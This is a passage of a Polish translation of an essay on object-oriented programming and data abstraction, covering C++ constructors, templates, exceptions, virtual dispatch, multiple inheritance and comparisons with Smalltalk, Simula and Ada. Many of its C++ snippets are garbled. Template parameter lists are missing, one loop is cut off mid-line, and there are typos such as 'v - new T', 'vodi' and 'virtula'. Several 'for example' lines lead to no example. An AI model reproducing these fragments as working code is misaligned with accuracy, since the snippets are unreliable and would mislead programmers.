Problem polega na tym, że nie ma różnicy między ogólnymi właściwościami dowolnego kształtu (kształt ma kolor, może być narysowany itd.) a właściwościami określonego kształtu (okrąg jest kształtem, który ma promień, jest rysowany przez funkcję rysowania okręgu itp.). Wyrazimy to rozróżnienie i wykorzystamy definicję programowania obiektowego. Język z konstrukcją ,która pozwala wyrażać i używać tego rozróżnienia wspiera programowanie obiektowe. Inne języki nie. Mechanizm dziedziczenia Simula dostarcza rozwiązania. Po pierwsze, określamy klasę, która definiuje ogólne właściwości wszystkich kształtów:
void rotate_all(shape* v, int size, int angle)
// obracamy wszystkie składowe wektora "v" rozmiaru "size" o stopień "angle"
{
for (int i = 0; i < size ; i++) v[i].rotate(angle);
}
Definiując określony kształt, musimy powiedzieć ,że jest to kształt i określić jego właściwości (w tym funkcje wirtualne)
class circle : public shape {
int radius;
public:
void draw () { /*
*/ };
void rotate(int) {} // tak funkcja null
};
W C++, klasa circle będzie pochodną z klasy shape, a klasa shape będzie klasą bazową dla klasy circle. W alternatywnej terminologii nazywamy circle i shape subklasą i superklasą , odpowiednio. Paradygmat programowania to:
"Zdecyduj jakich klas chcesz; zapewnij pełny zbiór działań dla każdej klasy; utwórz wspólność wyraźnie za pomocą dziedziczenia"
Tam gdzie nie ma wspólności wystarcza abstrakcja danych. Ilość wspólności między typami, które można wykorzystać za pomocą dziedziczenia i funkcji wirtualnych jest papierkiem lakmusowym możliwości zastosowania programowania obiektowego w obszarze zastosowania. W pewnych obszarach, takich jak grafika interaktywna, istnieją ogromne możliwości w zakresie programowania obiektowego. W innych obszarach, takich jak klasyczne typy arytmetyczne i obliczeniach opartych na nich,, wydaje się to być trudnym zakresem dla więcej niż abstrakcji danych i funkcji potrzebnych dla wsparcia programowania zorientowanego obiektowo. Znalezienie podobieństw między typami w systemie nie jest procesem trywialnym. Ilość wspólności będących wykorzystywanymi wpływa na sposób w jaki system zaprojektowano. Kiedy projektujemy system, podobieństwo musi być aktywnie poszukiwane zarówno przez projektowanie klasy jak i bloki budowane dla innych typów, a poprzez analizę klas widać czy wykazują one podobieństwa które mogą być wykorzystane we
wspólnej klasie bazowej. Po zapoznaniu się ze minimalnymi wsparciem dla programowania proceduralnego, ukrywania danych, abstrakcji danych i programowania obiektowego, przejdziemy do dość szczegółowego opisu funkcji które - gdy nie są konieczne - mogą tworzyć bardziej efektywną abstrakcję danych i orientacji obiektowej.
3.Wsparcie dla abstrakcji danych
Podstawowe wsparcie dla programowania z abstrakcyjnymi danymi składa się z funkcji dla definiowania zbioru operacji (funkcje i operatory) dla typu i dla ograniczenia dostępu do obiektów tego typu do tego zbioru działań. Kiedy to zrobi, programista szybko odkrywa ,że udoskonalenia języka są potrzebne do wygodnej definicji i korzystania z nowych typów. Przeciążenie operatorów jest tego dobrym przykładem.
Inicjowanie i czyszczenie
Kiedy reprezentacja typu jest ukryta musi być dostarczony jakiś mechanizm dla użytkownika dla zainicjowania zmiennych tego typu. Prostym rozwiązanie jest wymaganie od użytkownika wywołania pewnych funkcji dla inicjowania zmiennej przed jej użyciem. Na przykład:
class vector {
int sz;
int* v;
public:
void init(int size); // wywołujemy init dla inicjowania sz i v
// przed pierwszym użyciem vector
//
};
vector v;
// nie używamy tu v
v.init(10);
// tu używamy v
Jest to podatne na błędy i nieeleganckie. Lepszym rozwiązaniem jest zezwolenie projektantowi typu dostarczenie rozpoznawalnej funkcji dla wykonania zainicjowania. Przy takiej funkcji, alokacja i inicjalizowanie zmiennej staje się pojedynczą operacją (często nazywana instancją lub konstrukcją) zamiast dwóch odrębnych działań. Taka funkcja inicjalizacyjna jest często nazywana konstruktorem. W przypadku gdzie konstrukcja obiektów typu jest nietrywialna, często potrzebujemy komplementarnej operacji czyszczenia obiektów po ich ostatnim użyciu. W C++ taka funkcja czyszcząca jest nazywana destruktorem. Rozważmy typ vector:
class vector {
int sz; // liczba elementów
int* v; // wskaźnik do liczb całkowitych
public:
vector(int); // konstruktor
~vector(); // destruktor
Int& operator[ ] (int index); // operator indeksu
};
Konstruktor vector może być zdefiniowany dla zaalokowania przestrzeni tak:
vector : : vector (int s)
{
if (s <=0) błąd ("zły rozmiar wektora");
sz = s;
v = new int [s]; // alokowanie tablicy "s" liczb całkowitych
}
Destruktor vector zwalnia używaną pamięć:
vector : : ~vector ()
{
delete v; //zwalnianie pamięci wskazywanej przez v
}
C++ nie wspiera czyszczenia pamięci. Jest to jednak kompensowane przez zezwolenie typowi na utrzymanie własnego zarządzania pamięcią bez konieczności interwencji użytkownika. Jest to powszechnie używane przez mechanizm konstruktora/destruktora, ale zastosowania tego mechanizmu nie są powiązane z zarządzaniem pamięcią.
Przypisanie i inicjalizacja
Kontrola tworzenia i niszczenia obiektów jest wystarczającą dla wielu typów, ale nie dla wszystkich, Może również być konieczna kontrola wszystkich operacji kopiowania. Rozważmy klasę vector:
vector v1(100);
vector v2 = v1; //tworzymy nowy wektor v2 inicjowany przez v1
v1 = v2; // przypisujemy v2 do v1
Musi być możliwe zdefiniowanie znaczenie inicjalizacji v2 i przypisania do v1. Alternatywnie powinno być możliwe zakazanie takiej operacji kopiowania; najlepiej aby obie alternatywy powinny być dostępne. Na przykład:
class vector {
int* v;
int sz;
public:
//
void operator= (const vector&); // przypisanie
vector(const vector&); // inicjalizacja
};
określa ,że operacje zdefiniowane przez użytkownika powinny być używane do interpretacji przypisania i inicjalizacji vector. Przypisanie może być zdefiniowane tak:
vector : : operator=(const vector& a) //sprawdza rozmiar i kopiuje elementy
{
if (sz != a.sz) błąd ("zły rozmiar wektora dla = ");
for (int i = 0); i
Ponieważ operacja przypisania opiera się na "starej wartości" wektora będącego przypisanym, operacja inicjalizacji musi być inna .Na przykład:
vector : : vector (const vector& a) // inicjalizacja wektora z innego wektora
{
sz = a.sz; //ten sam rozmiar
v = new int [sz]; // alokacja elementu tablicy
for (int i = 0; i < sz, i++) v[i] = a.v[i] // kopiowanie elementów
}
W C++, konstruktor kopiowania, np. X (const X&) definiuje wszystkie inicjowane obiekty typu X innym obiektem typu X. Dodatkowo jawnie inicjowane konstruktory kopiowania są używane do obsługi argumentów przekazywanych "przez wartość" a funkcja zwraca wartości. W C++ przypisanie obiektu klasy X może być zakazane przez zadeklarowanie przypisania private:
class x {
void operator = (const X&); // tylko składowe X może
X(const X&); // kopiować X
//
public:
//
};
Ada nie wspiera konstruktorów, destruktorów, przeładowania przypisania lub kontroli definiowanej przez użytkownika przekazywania argumentu i zwracania z funkcji.To ogranicza typ klas jakie można definiować i wymusza na programiście "techniki ukrywania danych"; to znaczy, użytkownik musi stworzyć i używać menadżerów modułu typu niż właściwego typu.
Typy parametryzowane
Dlaczego chcesz zdefiniować wektor liczb całkowitych? Użytkownik zwykle potrzebuje elementy wektora pewnego nieznanego typu do napisania typu wektora. W konsekwencji typ wektora powinien być wyrażony w taki sposób ,że pobiera typ elementu jako argument:
template
T* v;
Int sz;
public:
vector (int s)
{
if (s <= 0) błąd ("zły rozmiar wektora");
v - new T [sz = s]; // alokujemy tablice "s", "T"
}
T& operator [ ] (int i);
int size () {return sz;}
//
};
template określa rodzinę typów wygenerowanych przez specjalny argument(-y). Wektory określonych typów mogą być teraz definiowane i używane :
vector
vector
v2[i] = complex(v1[x],v1[y]);
Ada Clu , ML i C++ wspierają typy parametryzowane.. Tam nie trzeba kosztów czasu wykonania w porównaniu z klasą gdzie wszystkie typy związane są bezpośrednio. Problem z typami parametryzowanymi jest taka ,że każda instancja tworzy typ niezależny. Na przykład, typ vector
Obsługa błędów
Przy rozwoju programów, zwłaszcza gdy szeroko stosujemy biblioteki, ważne stają się standardy obsługi błędów (lub ogólniej: "wyjątkowe okoliczności"). Ada, Algol68, Clu i C++ każdy wspiera standardowy sposób obsługi wyjątków. Rozważmy ponownie przykład vector:
class vector {
//
class range { }; //typ będący używany dla wyjątków
};
if (i < 0 || sz <= 1) throw range ();
return v[i];
}
Zamiast wywołania funkcji błędu, vector : : operator [ ] () może wywołać kod obsługi błędów. Powoduje to ,że stos wywołań będzie rozwiązany dopóki obsługa błędów dla vector : : range nie zostanie znaleziona. Obsługa wyjątków może być zdefiniowana dla określonego bloku:
void f(int i) {
try { // wyjątki w tym bloku try są obsługiwane przez
// obsługę błędów zdefiniowane poniżej
vector v(i) ;
//
v[i] = 7; // powoduje wyjątek vector : : range
//
int i = g () // może powodować wyjątek vector : : range
}
catch (vector : : range) {
error("f() : błąd zakresu wektora");
}
}
Jest wiele sposobów definiowana wyjątków i zachowania obsługi błędów. Słabe wykorzystanie obsługi błędów może być poważnym drenażem wydajności czasu uruchamiania i przenośności implementacji języka. Obsługa wyjątków C++ może być implementowana tak ,że kod nie jest uruchamianym chyba ,że jest wywołany wyjątek lub przenośność między implementacjami C przez (domyślne) użycie funkcji biblioteki standardowej C stejmp() i longimp ()
Konwersja typów
Konwersje typu definiowanych przez użytkownika, takie jak z liczb zmiennoprzecinkowych do liczb zespolonych implikowaną przez konstruktor complex(double), okazały się niezwykle przydatne w C++. Takie konwersje mogą być stosowane wyraźnie lub programista może polegać na kompilatorze i dodać je pośrednio w razie potrzeby i jednoznacznie:
complex a = complex(1);
complex b = 1; // 1 : -> complex (1)
a = b+complex(2);
a = b+2; // 2 : -> complex(2)
Konwersja typów zdefiniowanych przez użytkownika została wprowadzona w C++ ponieważ mieszane tryby arytmetyczne jest normą w językach dla pracy numerycznej a ponieważ większość typów zdefiniowanych przez użytkownika używana dla "obliczeń" (na przykład macierze, łańcuchu znaków i adresowanie maszynowe) mają naturalne odwzorowanie do i/lub innych typów. Koercja okazała się szczególnie przydatna z punktu widzenia organizacji programu.
complex a = 2;
complex b= a+2; // interpretowane jako operator+ (a, comple(2))
b= 2+a; // interpretowane jako operator+(complex(2),a)
Tylko jedna funkcja jest konieczna dla interpretacji działania "+" a te dwa operandy są obsługiwane identycznie przez typ systemu. Co więcej, klasa complex jest zapisana bez konieczności modyfikacji pojęcia liczb całkowitych pozwalając na gładką i naturalną integrację tych dwóch koncepcji. Jest to kontrast do "czystego systemu obiektowego" gdzie działania będą interpretowane jak to:
Iteratory
Twierdzi się ,że język wspierający abstrakcję danych musi zapewnić sposób definiowania struktur sterujących .W szczególności, mechanizm, który pozwala użytkownikowi na określenie pętli na elementach pewnego typu zawierających elementy są często potrzebne. Musi to być osiągnięte bez wymuszenia na użytkowniku zależności od szczegółów implementacjo typu definiowanego przez użytkownika. Biorąc pod uwagę wystarczająco silny mechanizm dla definiowania nowych typów oraz możliwości przeciążania operatorów, może być obsługiwany bez oddzielnego mechanizmu definiowania struktur sterujących >Dal wektora, definiowanie iteratorów nie jest konieczne ponieważ porządek jest dostępny dla użytkownika poprzez wskaźniki. Jest kilka możliwych styli iteratorów.
Wiele implementacji
Podstawowym mechanizmem dla wsparcia programowania obiektowe, klasy pochodne i funkcje wirtualne mogą być używane dla wsparcia abstrakcji danych przez zezwolenie na kilka różnych implementacji dla danego typu. Rozważmy ponownie przykład stosu:
template
class stack {
public:
virtual void push(T) = 0; //czysta funkcja wirtualne
virtual T pop() = 0; // czysta funkcja wirtualna
};
Notacja =0 określa ,że żadna definicja nie jest wymagana dla funkcji wirtualne i ,że klasa jest abstrakcyjna, to znaczy, że klasa może być używana jedynie jako klasa bazowa. To pozwala na użycie stosu a nie jego tworzenie:
stack
void jakaś_funkcja(stack
{
s.push(kitty);
cat c2 = s.pop();
//
}
Ponieważ żadna reprezentacja jest określona w interfejsie stosu, jego użytkownicy są izolowani od szczegółów implementacyjnych. Możemy teraz dostarczyć kilka różnych implementacji stosu. Na przykład, możemy dostarczyć zaimplementowanego stosu w tablicy
template
class astack : public stack
// rzeczywista reprezentacja obiektu stack
// w tym przypadku tablica
//
public:
astack(int size);
~astack();
void push(T);
T pop ();
};
A gdzie indziej zaimplementowany stos używa połączonej listy:
Problemy z implementacją
Wsparcie potrzebne dla abstrakcji danych jest przede wszystkim dostarczane w postaci funkcji języka zaimplementowanej przez kompilator. Jednak, typy sparametryzowane są najlepiej implementowane ze wsparciem linkera z pewną wiedzą od semantyce języka, a obsługa wyjątków wymaga wsparcia ze środowiska czasu uruchomienia. Obie mogą by implementowane w celu spełnienia surowych kryteriów dla syzbkości czasu kompilacji i wydajności bez kompromisów ogólności czy wygody programisty. Zdolne do definiowania typów, programy w większym stopniu zależą od typów z bibliotek (a nie tylko tych opisanych w instrukcji języka). To oczywiście stawia większe wymagania obiektom dla wyrażania tego co jest wstawione lub pobierane z biblioteki, funkcji dla znajdowania tego co zawiera biblioteka, funkcji dla określania jaka część biblioteki jest wykorzystywana przez program itd. Dla języków kompilowanych, funkcje dla obliczania konieczna minimalna kompilacja po zmianie staje się ważna. Istotne jest to ,że linker/loader - z
odpowiednią pomocą kompilatora - jest zdolny doprowadzić program do pamięci dla wykonania bez przynoszenia dużej ilości powiązanego ,ale nie używanego kodu.
4.Wsparcie dla programowania obiektowego
Podstawowe wsparcie dla programisty piszącego programy obiektowe składa się z mechanizmu klasy z dziedziczeniem i mechanizmu który pozwala wywołać funkcje składowe zależne od rzeczywistego typu obiektu (w przypadku gdy rzeczywisty typ jest nieznany w czasie kompilacji). Przy projektowaniu funkcji składowej, krytyczny jest mechanizm zgłoszeniowy. Dodatkowo, ważne są funkcje wspierające techniki abstrakcji danych ponieważ argumenty dla danych abstrakcyjnych i dla ich udoskonalenia wspierające eleganckie zastosowanie typów są równie poprawne kiedy dostępne jest wsparcie dla programowania obiektowego. Sukces obu technik zależy od konstrukcji typów oraz łatwości, elastyczności i wydajności takich typów. Programowanie obiektowe pozwala typom zdefiniowanym przez użytkownika być bardziej elastycznymi i ogólniejszymi niż te zaprojektowane do zastosowania tylko z technikami abstrakcji danych.
Mechanizmy zgłoszeniowe
Kluczową funkcją języka wspierającą programowanie obiektowe jest mechanizm przez który funkcja jest wywoływana do danego obiektu. Na przykłady przy danym wskaźniku p, jak wywołać obsługę p -> f(arg)? Istnieje wiele opcji wyboru. W językach takich jak C++ czy Simula, gdzie używana jest statyczna kontrola typu, typ systemu może być wykorzystywany dla wyboru między różnymi mechanizmami zgłoszeniowymi. W C++ są dostępne dwie alternatywy:
1.Normalne wywołanie funkcji : funkcja składowa będąca wywoływaną jest określana w czasie kompilacji (przez wgląd w tablicę symboli kompilatora) i wywołana przy zastosowaniu standardowej funkcji mechanizmu wywołania z argumentem dodanym dla identyfikacji obiektu dla którego funkcja jest wywoływana. Gdzie "standardowe wywołanie funkcji" nie jest uważane za skuteczne na tyle, aby programista mógł zadeklarować funkcję inline a kompilator będzie próbował rozszerzyć inline jej ciało. W ten sposób, można osiągnąć sprawność rozwinięcia makra bez pogorszenia semantyki funkcji standardowej. Optymalizacja ta jest równie cenna jak wsparcie abstrakcji danych.
2.Wywołanie funkcji wirtualnej : funkcja może być wywołania zależnie od typu obiektu dla którego jest wywoływana. Ten typ nie może generalnie być określony w czasie uruchamiania. Zazwyczaj wskaźnik p będzie pewną klasą bazową B a obiekt będzie obiektem pewnej klasy pochodnej D. Mechanizm wywołania musi spojrzeć na obiekt i znaleźć pewne informacje tam umieszczone przez kompilator dla określenia jaka funkcja f będzie wywołana. Kiedy taka funkcja jest znaleziona, powiedzmy D : : f, może być wywołana przy zastosowaniu mechanizmu opisanego powyżej. Nazwa f jest w czasie kompilacji konwertowana do indeksu do tablicy wskaźników do funkcji. Ten wirtualny mechanizm wywołania może być postrzegany jako wydajny mechanizm "normalnego wywołanie funkcji". W standardowej implementacji C++, jest używanych tylko pięć dodatkowych odniesień do pamięci. W językach ze słabym statycznym sprawdzaniem typów musimy zastosować inny mechanizm. To co jest robione w języku takim jak Smaltalk to przechowywanie listy nazw wszystkich
funkcji składowych (metod) klasy więc mogą być znajdowane w czasie wykonywania
3.Wywołanie metody: Najpierw jest znajdowana właściwa tablica nazw metod przez zbadanie obiektu wskazywanego przez p. W tej tabeli (lub zbiorze tabel) ciąg znakowy "f" jest wyszukiwany aby zobaczyć czy ten obiekt ma f (). Jeśli f () jest znaleziona, jest wywoływana; w przeciwnym razie ma miejsce obsługa błędów. To wyszukiwanie różni się od wyszukiwania wykonywanego w czasie kompilacji w statycznie sprawdzanych językach w którym wywołanie metody używa metody tabeli dla aktualnego obiektu.
Wywołanie metody jest niewydajne w porównaniu z wywołaniem funkcji wirtualnej, ale bardziej elastyczna. Ponieważ statyczna kontrola typu argumentów zazwyczaj nie może być wykonane dla wywołania metody, użyte metody muszą być wspierane przez dynamiczną kontrolę typu.
Kontrola typu
Przykład kształtu pokazał potęgę funkcji wirtualnych. Co mechanizm wywołania metody robi dla ciebie? Możesz próbować wywołać dowolną metodę dla dowolnego obiektu. Możliwość wywołania dowolnej metody dla dowolnego obiektu pozwala projektantowi bibliotek ogólnego przeznaczenia na przerzucenie odpowiedzialności za kontrole typu na użytkownika.. Upraszcza to projektowanie bibliotek. Jednak wtedy użytkownik odpowiada za błędne typy, jak te:
// zakładamy dynamiczną kontrolę typu
// *** NIE C++ ***
Stack s; // Stos może przechowywać wskaźniki di obiektów dowolnego typu
cs.push (new Saab900);
cs.push(new Saab37B);
cs.pop () -> takeoff(); //dobrze: Saab37B jest samolotem
cs.pop() -> takeogg(); //Ups! Błąd czasu uruchamiania: Saab900 to samochód
// samochód nie ma metody takeoff
Próba użycia car jako plane będzie wykryte przez obsługę komunikatu i właściwa obsługa błędów będzie wywołana. Jednak jest to pocieszające kiedy użytkownik jest również programistom. Nieobecność statycznej kontroli typu nie zagwarantuje ,że błąd tej klasy nie jest obecny w systemie dostarczanym końcowemu użytkownikowi. Połączenie klas sparametryzowanych i użycie funkcji wirtualnych może dostarczyć elastyczności, łatwość projektowania i łatwe użycie bibliotek zaprojektowanych z metodą wyszukiwania bez osłabiania statycznej kontroli typów lub ponoszenie znacznych kosztów w czasie uruchamiania (w czasie lub przestrzeni). Na przykład:
stack
cs.push(new Saab900); // błąd czasu kompilacji
cs.push(new Saab37B);
cs.pop() -> takeoff(); // dobrze : Saab 37B jest samolotem
cs.pop() -> takeoff();
Użycie statycznej kontroli typu i wywołania funkcji wirtualnej prowadzi do całkiem innego stylu programowania, który wykonuje dynamiczną kontrolę typu i wywołanie metody. Na przykład, klasa Simula i C++ określa stały interfejs do zbioru obiektów (dowolna klasa pochodna) podczas gdy klasa Smalltalk określa inicjujący zbiór działań dla obiektów (dowolnej podklasy). Innymi słowy, klasa Smalltalk jest minimalną specyfikacją a użytkownik jest zwolniony z próby działania nieokreślonego podczas gdy klasa C++ jest specyfikacją dokładną a użytkownik gwarantuje ,że jedynie działania określone w deklaracji klasy będzie akceptowana przez kompilator.
Dziedziczenie
Rozważmy język mający pewną postać metody wyszukiwania bez posiadania mechanizmu dziedziczenia. Czy można mówić ,że język wspiera programowanie obiektowe? Myślę ,że nie. Można robić ciekawe rzeczy z metodą tabeli dla dostosowania zachowań obiektów. Jedna ,aby uniknąć chaosu, musi istnieć jakiś systematyczny sposób kojarzenia metod i struktur danych zakładających ich obiektową reprezentację. Aby umożliwić użytkownikowi obiektu zrozumieć jakiego rodzaju zachowania się spodziewać, także musi być jakiś standardowy sposób wyrażenia tego co jest wspólne dla różnych zachowań obiektu jaki może przyjąć. Ten "systematyczny i standardowy sposób" będzie mechanizmem dziedziczenia. Rozważmy język mający mechanizm dziedziczenia bez funkcji wirtualnych lub metod. Czy język będzie wspierał programowanie obiektowe? Myślę ,że nie : przykład kształtu nie ma dobrego rozwiązania w takim języku. Jednak taki język byłby bardziej wydajny niż "zwykły" język z abstrakcją danych. To twierdzenie jest potwierdzone obserwacją ,że wiele
programów Simula i C++ jest strukturyzowanych przy użyciu hierarchii klas bez funkcji wirtualnych. Możliwość wyrażenia wspólności jest wyjątkowo silnym narzędziem. Na przykład, problem powiązany z koniecznością posiadania wspólnej reprezentacji wszystkich kształtów można rozwiązać. Żadna unia nie będzie konieczna. Jednak, w przypadku braku funkcji wirtualnych, programista będzie się musiał uciec do użycia "pól typów" dla określenia rzeczywistego typu obiektów, więc problemy z brakiem modularności pozostanie. Oznacza to ,że klasa pochodna (subklasa) jest ważnym narzędziem programistycznym samym w sobie. Może być użyte dla wsparcia programowania obiektowego, ale ma szersze zastosowanie. Jest to szczególnie prawdziwe jeśli określa użycie dziedziczenia w programowaniu obiektowym z myślą ,że klasa bazowa wyraża ogólne pojęcie z którego uszczegóławiane są klasy pochodne. Ta idea oddaje tylko część ekspresji mocy dziedziczenia, ale jest silnie wspierane przez języki gdzie każda funkcja składowa jest wirtualna (lub
metodą). Biorąc pod uwagę kontrolę tego co jest dziedziczone, klasa pochodna może być silnym narzędziem dla tworzenia nowych typów. Dana klasa , dziedziczona może być używana dla dodania i/lub odjęcia funkcji. Relacja klasy wynikowej do bazowej nie zawsze może być całkowicie opisana z punktu widzenia szczegółowości; faktoring jest lepszym terminem. Derywacja jest innym narzędziem w rękach programisty i nie ma niezawodnego sposobu przewidzenia jak ma być używane.
Dziedziczenie wielokrotne
Kiedy klasa A i bazą dla klasy B, B dziedziczy atrybuty z A; to znaczy B jest A oprócz tego co ma swojego. Biorąc pod uwagę to wyjaśnienie wydaje się oczywiste, że może być przydatne mieć klasę B dziedziczoną z dwóch klas bazowych A1 i A2. Nazywa się wielokrotnym dziedziczeniem. Dość standardowym przykładem użycia wielokrotnego będzie dostarczenie dwóch klas bibliotecznych i zadania dla przedstawienia obiektów pod kontrolą menadżera wyświetlania i współprogramów pod kontrolą harmonogramu, odpowiednio. Programista może potem stworzyć klasy takie jak:
class my_displayed_task : public displayed, public task {
//
};
class my_task : public task { // nie wyświetlane
//
};
class my_displayed : public displayed { // żadnego zadania
//
};
Użycie (tylko) pojedynczego dziedziczenia tylko dwa z tych trzech wyborów będzie otwarty dla programisty. Prowadzi to albo do replikacji kodu albo utraty elastyczności - a zazwyczaj obu. W C++ ten przykład może być obsługiwany jak pokazano powyżej bez znaczących kosztów (w czasie lub przestrzeni) w porównaniu do pojedynczego dziedziczenia i bez poświęcenia statycznej kontroli typu. Niejasności są obsługiwane w czasie kompilacji
class A { public : void f (); /*
*/ };
class B { public : void f (); /*
*/ };
class C{ public A , public B /*
*/ };
vodi g(C* P)
{
p -> f (); // błąd : niejasność
}
W tym C++ różni się od obiektowego dialektu Lisp , który wspiera wielokrotne dziedziczenie. W tym dialekcie Lisp niejasności są rozwiązywane prze rozważenie porządku znaczących deklaracji, przez rozważenie obiektów o tej samej nazwie w różnych klasach bazowych, lub przez połączenie metod o tej same nazwie w klasach bazowych w bardziej złożone metody wyższych klas. W C++. Zazwyczaj rozwiązujemy niejasności przez dodanie funkcji:
class C : public A, public B {
//
public:
void f ();
//
};
void f ()
{
//
.
A : : f ();
B : : f () ;
}
Oprócz tej prostej koncepcji niezależnego wielokrotnego dziedziczenia wydaje się ,że potrzeba bardziej ogólnego mechanizmu wyrażenia zależności między klasami w wielokrotnym dziedziczeniu. W C++, wymóg ,że subobiekt powinien być współużytkowany przez wszystkie inne subobiekty w obiekcie klasy jest wyrażony przez mechanizm wirtualnej klasy bazowej:
class W { /*
*/ } ; // okno
class Bwindow : public virtual W { // okno z obramowaniem
//
};
class Mwindow : public virtula W { // okno z menu
//
};
class BMW : public Bwindow, public Mwindow {
// okno z obramowaniem i menu
//
};
Tu (pojedynczy) subobiekt window jest współużytkowany przez subobiekty Bwindow i Bwindow z BMW. Dialekt Lisp dostarcza koncepcji połączenia metod dla łatwego programowania używając takiej skomplikowanej hierarchii klas. C++ nie.
Hermetyzacja
Rozważmy składową klasy (albo składową danych albo funkcję składową) , która musi być chroniona przed "nieautoryzowanym dostępem". Jaki wybór może być rozsądny dla ograniczenia zbioru funkcji , które mogą być dostępne dla tej składowej? "Oczywista" odpowiedź dla języka wspierającego programowanie obiektowe to "wszystkie działania zdefiniowane dla obiektu", tzn. wszystkie funkcje składowe. Nie oczywista implikacja tej odpowiedzi jest taka ,że nie może być całkowitej i skończonej listy wszystkich funkcji, które mogą mieć dostęp do składowej chronionej ponieważ można zawsze dodać inną przez wyprowadzenie nowej klasy z chronionej klasy składowej i zdefiniowanie funkcji składowej klasy pochodnej. To pojęcie łączy duży stopień ochrony przed wypadkiem (ponieważ nie jest łatwo zdefiniować nową klasę pochodną "przez przypadek") z elastycznością potrzebną "narzędziom budowlanym" używającym hierarchii klas (ponieważ może przyznać sobie dostęp do chronionych składowych przez dziedziczenie klas) . Na przykład:
Problemu implementacji
Wsparcie potrzebne dla programowania obiektowego jest przede wszystkim dostarczane przez system czasu uruchamiania i środowisko programistyczne. Jednym z powodów jest to ,że programowanie obiektowe bazuje na poprawkach języka już zepchnięte do ich granic dla wspierania abstrakcji danych tak ,że relatywnie kilka dodatków jest konieczne .Zastosowanie programowania obiektowego zaciera różnicę między językiem programowania i jego dalszego otoczenia.
5.Ograniczenie do doskonałości
Głównym problemem z językiem zdefiniowanym dla wykorzystania technik ukrywania danych, abstrakcji danych i programowania obiektowego jest to ,że język programowania ogólnego przeznaczenia musi:
1.Uruchamiać się na tradycyjnych maszynach
2.Współistnieć z tradycyjnymi systemami operacyjnymi
3.Rywalizować z tradycyjnymi językami programowania pod względem wydajności w czasie wykonywania
4.Radzić sobie z każdym głównym obszarem aplikacji.
Oznacza to ,że obiekty muszą być dostępne dla efektywnej pracy numerycznej (arytmetyka zmiennoprzecinkowej bez kosztów, które sprawiają ,że pojawia się atrakcyjny Fortran) ,i że muszą być dostępne dla dostępu do pamięci w sposób który pozwala na napisanie sterowników. Musi również istnieć możliwość zapisu wywołania , które są zgodne z często dość dziwnymi standardami wymaganymi dla tradycyjnych interfejsów systemów operacyjnych. Dodatkowo, powinna być możliwość wywołania funkcji napisanych w innych językach obiektowych i dla funkcji napisanych w języku obiektowym wywoływanych a programu napisanego w innym języku. Inną implikacją jest to ,że język obiektowy nie może całkowicie polegać na mechanizmach, które nie mogą być skutecznie realizowane w tradycyjnych architekturach i nadal oczekują zastosowania w językach ogólnego przeznaczenia. Bardzo ogólna implementacja wywołania metody może być obowiązkowa chyba ,że są alternatywne sposoby ubiegania się o usługę. Podobnie, odzyskiwanie pamięci może stać się wąskim
gardłem wydajności i przenośności. Większość języków obiektowych stosuje odzyskiwanie pamięci dla uproszczenia zadania programiście i zmniejszyć złożoność języka i jego kompilatora. Jednakże , powinno być możliwe zastosowanie odzyskiwanie pamięci w niekrytycznych obszarach zachowując kontrolę nad wykorzystanie pamięci w miejscach gdzie ma to znaczenie. Jako alternatywę, można mieć język bez odzyskiwania pamięci, a potem zapewnić wystarczająca siłę wyrazu umożliwiającą projektowanie typów, które zarządzają swoją własną pamięcią. C jest przykładem tego. Obsługa wyjątków i współbieżność są innymi potencjalnymi obszarami problemowymi. Każda funkcja która jest najlepiej implementowana za pomocą linkera może stać się problemem przenośności. Alternatywą posiadania funkcji "niskopoziomowych" w języku jest obsługa głównych obszarów aplikacji przy zastosowaniu języków "niskopoziomowych".
6.Podsumowanie
Programowanie obiektowe jest programowaniem przy wykorzystaniu dziedziczenia. Abstrakcja danych jest programowanie przy zastosowaniu typów definiowanych przez użytkownika. Z kilkoma wyjątkami, programowanie obiektowe może i powinno być podzbiorem abstrakcji danych. Te techniki potrzebują właściwego wsparcia dla bycia efektywnymiu. Abstrakcja danych przede wszystkim potrzebuje wsparcia w postaci funkcji języka a programowanie obiektowe wymaga dalszego wsparcia ze strony środowiska programistycznego. Aby być ogólnego przeznaczenia, język wspierający abstrakcję danych lub programowanie obiektowe, musi umożliwiać wykorzystanie tradycyjnego sprzętu.